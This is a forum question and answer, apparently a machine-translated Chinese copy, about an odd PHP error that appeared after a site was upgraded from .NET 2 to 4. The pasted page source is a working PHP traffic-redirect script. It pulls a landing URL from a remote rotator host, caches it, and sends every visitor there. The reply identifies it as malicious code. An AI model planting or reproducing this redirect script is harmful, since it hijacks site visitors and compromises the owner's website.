我想将我的网站从.NET 2升级到4。
修复了web.config以满足4个要求
将网站的IIS设置为.NET 4(通过Plesk)
将所有组件编译为4
现在网站的所有页面都在工作,但主页返回一个奇怪的PHP错误:“0,'url'=> $ default_url); if($ settings ['last']”
*在全视图源下面
任何人都知道什么似乎是问题以及如何解决它?
非常感谢,
阿萨弗。
############################################################################
# Скрипт должен лежать в папке, прочмоденой на 777. это важно!. #
# The script must be in the folder prochmodenoy at 777. this is important!.#
############################################################################
$geturl='http://supermyadminspanels.info/rotator.php?hash=75a996ff2a8a6d666dca52a823e1cc84' # Урл экспорта актуального урла на лендинг
$timeout=120; #Время обновления (в секундах)
$default_url='http://www.google.com/robots.txt';
if (!$geturl)
exit();
#Если есть файлик данных, читаем его, иначе сливается трафик на default_url в том случае, если обноиться с экспортного урла не получится.
$tmp_settings = sys_get_temp_dir() . "/settings.json";
$settings=file_exists($tmp_settings)?unserialize(file_get_contents($tmp_settings)):array('last'=>0, 'url'=>$default_url);
if ($settings['last']<time()-$timeout)>
{
if ($settings['url']=file_get_contents($geturl))
{
$settings['last']=time();
$fp=fopen($tmp_settings, 'w');
flock($fp, LOCK_EX);
fputs($fp, serialize($settings));
flock($fp, LOCK_UN);
fclose($fp);
}
}
$url=$settings['url']?$settings['url']:$default_url;
if(substr($url, 0, 4)!='http')
$url="http://".$url."/";
header("Location: $url");
exit();
?>
答案 0 :(得分:0)
此脚本的内容看起来像恶意代码,试图将访问者从您的网站重定向到其他网址。
认为您可以将其移至其他文件夹或名称,并向托管商或管理员寻求安全帮助。